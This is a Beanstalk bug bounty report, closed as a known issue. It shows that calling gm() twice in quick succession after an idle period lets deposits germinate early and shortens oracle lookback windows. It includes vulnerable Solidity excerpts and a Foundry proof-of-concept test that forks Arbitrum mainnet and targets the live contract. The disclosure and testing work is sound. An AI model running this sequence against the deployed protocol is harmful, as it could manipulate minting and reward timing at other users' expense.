Beanstalk Notion
Beanstalk Notion
/
🪲
Bug Reports
/
BIC Notes
/
📄
Report #37870
📄

Report #37870

Report Date
December 17, 2024
Status
Closed
Payout

gm() season transition can lead to early germination and twa reserves manipulation

‣
Report Info

Report ID

#37870

Report type

Smart Contract

Has PoC?

Yes

Target

https://arbiscan.io/address/0xD1A0060ba708BC4BCD3DA6C37EFa8deDF015FB70

Impacts

  • Invariant is missing on a function where it should be implemented
  • Illegitimate minting of protocol native assets

Description

Summary

After a period of inactivity, the gm() function allows two season advancements in rapid succession. This vulnerability can lead to two primary issues:

  1. Premature germination of deposits, potentially allowing users to bypass intended waiting periods.
  2. Manipulation of Time-Weighted Average (TWA) reserves and deltaB calculations, which could result in illegitimate minting of protocol native assets (Beans).

Vulnerability details

1. SeasonFacet.sol

function _gm(address account, LibTransfer.To mode) private returns (uint256) {
    require(!s.sys.paused, "Season: Paused.");
    require(seasonTime() > s.sys.season.current, "Season: Still current Season.");
    checkSeasonTime();
    uint32 season = stepSeason();
    int256 deltaB = stepOracle();
    // ... (other operations)
}

This function, _gm, is the core of the season transition mechanism. It's called when advancing to a new season. The function first checks if the system is paused and if it's time for a new season. The checkSeasonTime() function is then called, which is where the vulnerability primarily lies.

function checkSeasonTime() internal {
    uint32 _seasonTime = seasonTime();
    uint32 currentSeason = s.sys.season.current;
    require(_seasonTime > currentSeason, "Season: Still current Season.");
    if (_seasonTime > currentSeason + 1) {
        s.sys.season.start += s.sys.season.period.mul(_seasonTime - currentSeason - 1);
    }
}

The checkSeasonTime() function is intended to prevent multiple season advancements in quick succession. However, when _seasonTime > currentSeason + 1, which can occur after a period of inactivity (a "stale period"), the function updates s.sys.season.start to account for the missed seasons. This update allows the next gm call to proceed immediately, even if it's called just seconds later. The reason for that is s.sys.season.start can become equal to block.timestamp - period - 1, meaning at 1 second later the gm function can be called again, as can be seen at the Proof of Concept.

With two gm calls made in rapid succession, a couple of side-effects can happen at the system.

2. LibWellMinting.sol

function capture(address well) external returns (int256 deltaB) {
    bytes memory lastSnapshot = LibAppStorage.diamondStorage().sys.wellOracleSnapshots[well];
    if (lastSnapshot.length > 0) {
        deltaB = updateOracle(well, lastSnapshot);
    } else {
        initializeOracle(well);
    }
    deltaB = LibMinting.checkForMaxDeltaB(deltaB);
}

The capture function is crucial for updating the oracle and calculating deltaB, which is used in minting calculations. When gm is called, stepOracle() invokes this capture function.

The vulnerability in SeasonFacet.sol allows this function to be called twice in quick succession. This rapid calling can lead to inaccurate deltaB calculations because the time between snapshots becomes very small, opening up the possibility for artificial-demand to be taken into account.

This inaccuracy can be exploited to manipulate the minting process, especially because with a lookback value of a few seconds, the twa system will account for reserves of the past seconds - as can be seen at `LibUniswapOracle.consult:

3. LibSilo.sol

function _depositAndGerminate(
    address account,
    address token,
    uint256 amount,
    uint256 bdv
) internal returns (uint256 stem) {
    stem = LibGerminate.getGerminatingStem(token);
    _depositAndGerminateTo(account, token, amount, bdv, stem);
}

This function handles the deposit and germination process for tokens in the Silo. The vulnerability in season advancement interacts with this process in several ways:

  • The getGerminatingStem function likely relies on the current season or some time-based calculation to determine the appropriate stem for germination.
  • Rapid season advancements can cause this function to return stems that are much further in the future than intended.
  • This can lead to deposits germinating (becoming active and eligible for rewards) much earlier than they should.

The premature germination of deposits disrupts the intended economic model of the protocol. It can give unfair advantages to users who can time their deposits just before a rapid season advancement, allowing them to bypass the intended waiting period and potentially claim rewards or voting rights earlier than designed.

Impact

The vulnerability in the gm() function allows rapid season transitions that can lead to illegitimate minting of protocol native assets by allowing the manipulation of deltaB and early germinations.

Proof of concept

The provided foundry Proof of Concept demonstrates the vulnerability:

The tests can be run by first initializing a foundry project and installing Oz's library with the following commands:

forge init
forge install OpenZeppelin/openzeppelin-contracts --no-commit
forge test --match-test testEarlyDepositConversion -vv

The doubleGmCall function simulates a scenario where:

  1. The system has been inactive for about 5 hours (simulating a stale period).
  2. A user calls gm once, advancing the season.
  3. Just one second later, the user calls gm again, successfully advancing the season a second time.

This demonstrates that after a period of inactivity, the system allows multiple season advancements in rapid succession, which should not be possible under normal circumstances. Since the second gm call was made exactly 1 second after the first gm call, it is also proven that the lookback value for the oracles will be of 1 second.

The testEarlyDepositConversion function further illustrates the potential impact:

  1. It simulates a deposit before the rapid season advancements.
  2. After the double gm call, it attempts to convert the deposit.
  3. While the conversion fails due to an oracle issue, the fact that the system allows the attempt demonstrates that the deposit has prematurely reached a state where conversion should be possible.

This proof of concept shows how there is a vulnerability that can be exploited to manipulate the protocol's time-sensitive mechanisms.

BIC Response

Thank you for your report. While these findings are correct, this is already a known issue that has come up in past audits. You can find the public report here: https://codehawks.cyfrin.io/c/2024-05-beanstalk-the-finale/results?lt=contest&page=1&sc=reward&sj=reward&t=report

function consult(
        address pool,
        uint32 secondsAgo
    ) internal view returns (bool success, int24 arithmeticMeanTick) {
        require(secondsAgo != 0, "BP");

        uint32[] memory secondsAgos = new uint32[](2);
        secondsAgos[0] = secondsAgo;
        secondsAgos[1] = 0;

        try IUniswapV3Pool(pool).observe(secondsAgos) returns (
            int56[] memory tickCumulatives,
            uint160[] memory
        ) {
            int56 tickCumulativesDelta = tickCumulatives[1] - tickCumulatives[0];
            arithmeticMeanTick = SafeCast.toInt24(
                int256(tickCumulativesDelta / int56(uint56(secondsAgo)))
            );
            // Always round to negative infinity
            if (tickCumulativesDelta < 0 && (tickCumulativesDelta % int56(uint56(secondsAgo)) != 0))
                arithmeticMeanTick--;
            success = true;
        } catch {}
    }
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IBeanstalk {
    enum From {
        EXTERNAL,
        INTERNAL,
        EXTERNAL_INTERNAL,
        INTERNAL_TOLERANT
    }
    enum To {
        EXTERNAL,
        INTERNAL
    }

    function gm(address account, To mode) external payable returns (uint256);

    function mow(address account, address token) external payable;

    function deposit(
        address token,
        uint256 _amount,
        From mode
    ) external payable returns (uint256 amount, uint256 _bdv, int96 stem);

    function convert(
        bytes memory convertData,
        int96[] memory stems,
        uint256[] memory amounts
    )
        external
        payable
        returns (
            int96 toStem,
            uint256 fromAmount,
            uint256 toAmount,
            uint256 fromBdv,
            uint256 toBdv
        );
}
contract ArbSys {
    function arbBlockNumber() external view returns (uint256) {
        return block.number;
    }
}

contract SeasonFacetTest is Test {

    enum ConvertKind {
        DEPRECATED_0, // BEANS_TO_CURVE_LP
        DEPRECATED_1, // CURVE_LP_TO_BEANS
        UNRIPE_BEANS_TO_UNRIPE_LP,
        UNRIPE_LP_TO_UNRIPE_BEANS,
        LAMBDA_LAMBDA,
        BEANS_TO_WELL_LP,
        WELL_LP_TO_BEANS,
        UNRIPE_TO_RIPE,
        ANTI_LAMBDA_LAMBDA
    }
    // Address of the deployed SeasonFacet contract
    address constant BEANSTALK_ADDRESS = 0xD1A0060ba708BC4BCD3DA6C37EFa8deDF015FB70;

    address constant bean = 0xBEA0005B8599265D41256905A9B3073D397812E4;
    IERC20 internal beanContract = IERC20(bean);

    // Account to simulate the call
    address user = address(0x1234567890abcdef); // Mock user account

    // bean whale to simulate deposit
    address beanWhale = address(0xBEa00BbE8b5da39a3F57824a1a13Ec2a8848D74F);

    IBeanstalk beanstalk;

    function setUp() public {
        // Fork Arbitrum mainnet
        vm.createSelectFork("https://arbitrum-mainnet.infura.io/v3/YOUR_INFURA_KEY", 265732407); // Use a recent block number

        // Mock the ArbSys precompile so the fork returns the correct block number / block timestamp
        vm.etch(address(0x0000000000000000000000000000000000000064), type(ArbSys).runtimeCode);

        // Label addresses for readability in trace
        vm.label(BEANSTALK_ADDRESS, "SeasonFacet");
        vm.label(user, "User");

        // Initialize the SeasonFacet interface
        beanstalk = IBeanstalk(BEANSTALK_ADDRESS);

        // Fund the user with ETH to simulate a transaction
        vm.deal(user, 10 ether);
    }

    // @audit currently shows how one can call gm twice in the space of 2 seconds
    function testGmFunction() public {
        doubleGmCall();
    }


    // @audit This test will deposit, call gm twice in the space of 2 seconds and convert preemptively
    // @audit early conversion means that the system is allowing users to germinate early, as per:
    // "Stalk is rewarded to a Deposit 2 gm calls after Deposit. In the interim, new Deposits are
    //  considered Germinating. Germinating Deposits can be Withdrawn or Transferred, but cannot be Converted."
    function testEarlyDepositConversion() public {
        // deposit
        vm.startPrank(beanWhale);
        beanContract.approve(address(beanstalk), type(uint256).max);
        beanstalk.deposit(bean, 1e8, IBeanstalk.From.EXTERNAL);
        vm.stopPrank();

        // Call gm twice as done at the testGmFunction
        doubleGmCall();
        // mow
        beanstalk.mow(address(beanWhale), bean);

        bytes memory convertData = convertEncoder(
            ConvertKind.BEANS_TO_WELL_LP,
            address(0xBea00DDe4b34ACDcB1a30442bD2B39CA8Be1b09c), // BEAN:WETH LP Token
            1e8,
            0
        );
        int96[] memory stems = new int96[](1);
        stems[0] = 0;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 1e8;
        vm.prank(beanWhale);
        // @audit it fails here because the oracle call fails, but it still demonstrates
        // @audit that the system allows early conversion by allowing a gm call to be made immediately
        // @audit another in case the system has been without gm calls for a while
        vm.expectRevert("Well: USD Oracle call failed");
        beanstalk.convert(convertData, stems, amounts);

    }

    function doubleGmCall() internal {
        vm.startPrank(user); // Act as the user for this test

        vm.warp(block.timestamp + 5 hours -2675);


        // Call the gm function with To.EXTERNAL mode
        uint256 reward = beanstalk.gm{value: 0}(user, IBeanstalk.To.EXTERNAL);

        console.log("Reward received:", reward);

        vm.warp(block.timestamp + 1);
        reward = beanstalk.gm{value: 0}(user, IBeanstalk.To.EXTERNAL);
        console.log("Reward received:", reward);
        vm.stopPrank();
    }

    function convertEncoder(
        ConvertKind kind,
        address token,
        uint256 amountIn,
        uint256 minAmountOut
    ) internal pure returns (bytes memory) {
        if (kind == ConvertKind.LAMBDA_LAMBDA) {
            // lamda_lamda encoding
            return abi.encode(kind, amountIn, token);
        } else {
            // default encoding
            return abi.encode(kind, amountIn, minAmountOut, token);
        }
    }
}